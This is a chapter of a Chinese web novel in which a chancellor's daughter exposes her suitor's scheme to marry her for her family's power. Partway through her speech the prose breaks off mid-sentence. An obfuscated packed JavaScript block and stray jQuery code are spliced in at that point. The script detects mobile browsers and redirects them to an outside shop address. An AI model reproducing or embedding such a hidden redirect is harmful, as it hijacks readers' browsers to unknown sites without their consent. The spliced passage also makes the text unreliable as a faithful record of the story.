27.无话可说

作品:《墨入红城朱玉黑

    来时雇的车夫傍晚有事回家去了,回程由姜阙驾车。


    夜繁在外头耽搁了一下,吹了会儿凉风,身子止不住打寒颤,钻进马车后,她第一时间从暗箱里抽出薄毯裹住全身。


    “回来了?”江语堂静静坐在一旁,默然看着她。


    “嗯。”


    同样的车厢,同样的位置,两人的关系已然变味。相对之间,一人淡然中携着轻蔑,一人屈然中藏着阴霾。


    “很冷吗?”


    夜繁手扯紧了薄毯,嘴上却道:“还好。”


    江语堂见状从自己座位下暗格抽出了另一条薄毯给她。


    夜繁想都没想就拒绝,“不必。”


    江语堂递出的手一僵,随后又慢慢缩回来,将薄毯放在了膝盖上。


    夜繁仿佛听到了一声叹息。


    “在鱼水院时,我本想将这个给你。”


    一个檀木盒子出现在他掌中。


    只见他垂眸凝视着盒子,忽而惨然一笑,“不过,如今应是没有用了。”


    夜繁平静看着他手中之物,心中莫名好笑。若她没有猜错的话,这便是他三日前准备好的定情信物,但遗憾的是,他今日的计划全被尧璞打乱了。


    “会送出去的。”她假意安慰道。


    江语堂闻声猛然抬头,眸中隐藏多年的屈就与不甘欲迸射而出。


    车厢内烛光微小,羸弱的火舌随着车厢摇晃,时短时长。


    夜繁眼角余光掠见,淡下笑意,决然道:“这份礼太重,我承受不起。”


    “若我说只有你配受这份礼呢?”


    “那我就只能明着拒绝了。”


    “呵。”江语堂裂开嘴角,轻嘲道,“不承想短短半月洛儿变化如此之大,收礼也懂得分轻重了。”


    “毕竟人家送得有用啊。”这话是故意说给车厢外的人听的。


    于是车厢外的姜阙默然加快车速,挤着风驰骋前进,令车厢内烛光愈发忽闪忽灭,忽明忽暗。


    “我从未发觉你如此功利。”


    “现在察觉也不晚。”


    江语堂闻言薄唇抿了抿,面色遂隐于幽暗。


    “妖王今夜说辞并不可信。”


    “哦?”


    他不顾车门外的姜阙,直然劝言道:“他素来爱惜将才,所识者但凡有点拳脚功夫,都会被他拉去充门客,不会拿来送人,你如此信他…恐成眼下囚,囊中物。”


    夜繁蓄暖半身,困意缠上眼皮,听他絮絮叨叨,疏懒地合上了眼,“这有何所谓?他明着送我侍卫,我起码还能使唤,而你暗中塞人于相府,还得我细心去找,谁体贴谁不轨,一目了然了吧。”


    “洛儿你——”


    江语堂心头大震,急忙掩饰,“我与他岂能相提并论?况且你所言更是冤枉,夜兄政务繁忙,怕你困于府中无友解闷,便许门童传声,令我及时前来相伴,而你却宁信妖王美言,也不信我的为人,让我好生失望!”


    夜繁闻言睁开眼看他,“我何时说过信谁?退一万步讲,我便是信了他,又如何?公子若觉着委屈,为何不想想自己是否也在强人所难。”


    这一日的猜忌,江语堂自以为不动声色,哪知会被人家当面戳穿,当下卖惨道,“洛儿真当如此绝情?”


    夜繁笑了,“情之一字少了心,便是无情,既是无情,又何来绝情之说。”


    “洛儿学了两年书,只是为了争口舌之利吗?”


    “乡下俗子以此为乐,公子这般雅人自是不会懂的。”夜繁眸光微凛,心中掂量着留那一寸余地的必要性。


    微暗的车厢中,江语堂将檀木盒子收进袖中,她眼角瞟见,心下遂敲定。


    “横竖是睡不着了,我在酒茶亭替别人解惑解了半夜,不如这后半夜就由公子来替我解解惑,如何?”


    “你想问什么?”


    “谈谈你看中我什么?”


    江语堂闻言眸光随烛影飘忽,“两年情分岂是寥寥数语就能道尽的。”


    “但两年情分一朝就可以断尽。”


    他心头一紧。


    夜繁撩开两人最后的遮羞布,“论美貌,我不及精心打扮的小姐;论才能,我最多会烤个鱼;论涵养…我想你这两年来感受颇深。”


    “……”


    “既答不出,那不如换个问法。”夜繁言语犀利道,“你究竟图我什么?”


    “情爱之事并非买卖租赁,洛儿此言未免过于势利。”


    “恐怕势利之人是你吧。”夜繁毫不留情道,“你无非就是图我的背景,百官之首,相府千金。”


    江语堂受到挑衅,不甘示弱道:“我也是御史之子,户部侍郎,科举探花。”言下之意是他不占她任何便宜。


    “靠爹?”她轻蔑一笑,“你爹还不如我爹。靠自己,你不过是个小小的户部侍郎,无权无势。”


    “看来你也同那些趋炎附势之人一般无二。”


    “我从未否认。”


    ……


    昔日的包容宠溺在此刻无疑成为讽刺,深埋于心的厌恶令江语堂撇下身段,出言相讥道:“纵使我是再小的官,你也不及,若不是你顶着相府千金的头衔,恐京中人都不屑予你一眼。”


    “江侍郎训斥我追名逐利,殊不知是自己被戳中痛处,狗急跳墙。”


    “呵,贼喊捉贼倒是头一次见。如今谁人不知夜相待你犹如困兽,你还当真以为是怜爱了,可笑至极。”


    江语堂乃京中文人雅士之代表,平日里待人温和有礼,善解体贴,不承想一朝撕破脸,两年筹谋瞬间化为乌有,胸中怨恨冲垮底线,恶言不断。


    反观夜繁这边,除却一脸的无所谓,眉宇间透露出的傲慢更加刺痛人心。


    她道:“你说得确实不错,既然如此,便别再纠缠,大家好聚好散,省得彼此虚与委蛇,吃力又不讨好。”


    “你说什么?”江语堂心跳漏了一拍。


    夜洛儿性格粗鄙,不讨人喜,几乎是铁板钉钉的事实,而江语堂自幼陶冶情操,自视甚高,又怎会甘愿与之久处?他自认滴水不漏,却不料新人换旧人,早已识破他的精心伪装。


    “我说你两年来与我虚情假意,着实辛苦。”


    夜繁一语道破真相。


    江语堂手心随即渗出冷汗,“情爱之事不能如愿也就罢了,洛儿何必落井下石,揭人伤疤。”


    “可我揭的不是伤疤,而是蓄谋已久的阴谋。”


    夜繁决计撕下他这张小人脸,落个心里畅快。


    “说来也巧,江御史与夜相同有一儿一女。


    我哥头脑灵活,破案有功,近几年升至大理寺任少卿之位,可谓仕途无量。朝中官员攀比日盛,你不能拖你爹后腿,于是凭关系入户部任侍郎一职。但德不配位,背后必遭人置喙,你遂参加科举,日夜奋读,只为证明自己。


    榜单一出,中了探花,你很高兴,但得知升官需要外调,你又不愿了。京官虽小,但好在近水楼台,外调无疑与你的初衷背道而驰。可一介文人却终日敲打算盘,实在庸俗不堪,你不是武将,无法立功升迁,科举几乎是你的终点。


    仕途将止,怎么办呢?


    尧国三公鼎立,你爹虽是御史大夫,与我爹平起平坐,但手中并无实权,还得以身作则,受世人监督,这关系定不能再用。


    自古以来,民凭官贵,官凭势贵,势凭承贵,承子不贵,如何?但凭妻贵。你自会想找个门当户对的妻子,利用岳父的权势再上一层楼。


    可你挑来选去,发现名门望族的小姐自视清高,瞧不起你;官职平等的小姐,意借迎亲宴飞上枝头,看不见你;而权势低微的小姐,本就要依附夫家,更配不上你。


    于是乎,被名利欲望驱使的江大侍郎不由气馁。


    就在这时,天赐良机,我爹忽然将我从乡下接到了黔京。


    乡野千金单纯无知,情窦初开,而你自诩相貌清秀,又以文雅视人,只要对我加倍耐心,便能趁机而入,掳获芳心。


    恰好我这个乡下小姐,毫无修养,初到京城必受排挤,孤援无助之下,你不顾世俗眼光与我来往,正如那雪中送炭,令人倍感珍惜。


    一切都进展得很顺利。


    你三天两头往相府跑,整天妹妹妹妹地叫,表面亲如兄妹,实则若即若离,欲情故纵,无时无刻不在撩拨我的心绪,令我对你产生好感,进而坠入爱河。


    若我动心,你下一步便会想方设


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918398|189265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    法引诱我偷尝禁果,随后制造东窗事发的契机,将此事泄露给你爹和我爹知道,届时,两家为了脸面,再不愿也会促成你我的婚事……至此,你布下两年的局完美收官,有朝中两位重臣扶持,权势之位指日可待。”


    夜繁嘴里绘声绘色说着,眼中轻蔑逐渐被清冽替代。


    “你说,我猜的对吗?语堂哥哥。”


    一声“语堂哥哥”让江语堂猛然回神。


    听夜繁滔滔不绝,仿佛在重演他这两年来的心理历程,回神后他顿觉全身发寒,僵硬如木。


    纵然江语堂有所预感,也没能料到自己最深层的阴暗会被她勘破得彻头彻尾。


    见他面色惨白,夜繁唇角一勾,讽刺到底,“当然了,洛儿妹妹又怎么会为难语堂哥哥呢。毕竟一个风评不好的小姐,说什么别人也不会信的。”她的声音娇声娇气,嘲弄意味十足。


    “若非与你相识两年,我差点就要信了。”江语堂试图用平静的语气反驳她的“一派胡言”。


    “区区两年,你又能了解我多少?倒是你不停地露出马脚,生怕我们看不明白。”夜繁好心告知道,“倘若不是今日你智商感人,非要往我枪口上撞,不然我也不会不留情面。”


    “这两年来,夜哲为你两厢照应,实则是请君入瓮,瓮中捉鳖。打你进门起,我老爹就察觉到你的用心,本要将你请走,但他自觉亏欠于我,以为我对你有意,便不给你设下阻拦。如此看来,天时地利人和你是哪样都占,可生偏就在你大功告成之际,我跟三皇子扯上了联系,身中剧毒,性命垂危。”


    话到此处,她嘴角抿下懒意,眸光如山巅雪寒,酷然无情。


    “我吊着命时,最为我忧心的人其实是你,否则你又怎会在我苏醒之际,便急切地上门确认?毕竟我若真的殒命,天底下可再也找不出第二个‘洛儿妹妹’。”


    江语堂闻言遮掩着自己的慌乱,故作镇定道:“我不明白你在说些什么。”


    “呵,你这装傻充愣的功夫还不如妖王呢。”


    夜繁裹紧毯子,头靠车窗仰上去,露出的白颈在暗沉夜里显得格外刺眼。


    江语堂紧盯着薄毯下那一抹莹白,惊慌、羞耻、厌恶等诸多情绪,皆数化作一股怨毒盘旋于脑海之中。


    既然她已全然知晓,这荒郊野外,若此刻霸王硬上弓,一切都会回归正轨……


    正当他蠢蠢欲动之际,夜繁突然来了一句,“从妖王府出来的人可不是吃素的,他的身手如何,你今夜定然看得清楚。”


    江语堂呼吸一滞。


    “姜阙啊。”


    “属下在。”一壁之隔的他早就将两人对话尽收耳中。


    “你投靠一个女人有什么好处,不憋屈吗?”她声音中调侃之意浓厚,“若是江公子重金收买你,你心动吗?”


    “憋屈,心动,他打算出多少?”姜阙毫不犹豫。


    夜繁闻言一愣,随即哈哈大笑起来。


    “妖王真会投其所好,知道我不缺钱,便送来一个贪财的手下,”她对江语堂炫耀道,“他那么了解我,你说我以身相许如何?”


    如今的江语堂犹如被人扒光衣服游街示众,他怨毒道:“你与妖王二人最般配,一个胡说八道,一个装疯卖傻。”


    夜繁回击道:“语堂哥哥果然最明白我的心思,就算我是相府千金也想攀上枝头变凤凰呀。”她说得起劲,脸上更是兴奋。


    江语堂冷哼一声,鄙夷道:“你还真以为凭你这姿色能勾搭上妖王?痴心妄想。”


    “怎么会是妄想?妖王三日前还邀我与他同穿红衣裳呢。”夜繁故作羞赧道,“你说他是不是青睐于我?毕竟除了一见钟情,我再也想不到任何他靠近我的理由。”


    外头听夜繁娇羞发言的姜阙忍不住打了个寒颤。


    而江语堂更是越想越气,面目陡然变得狰狞,“若是我得不到,你也别想得到。”


    听闻此言,夜繁不怒反笑,“姜阙啊,一般是什么人才会放狠话呢?”


    “懦弱无能之人。”


    “正解。”夜繁舒服地合上眼。


    在她微眯的眼眸中,睥睨之色一闪而过,无意中瞥见那抹杀意的江语堂,一时间不寒而栗。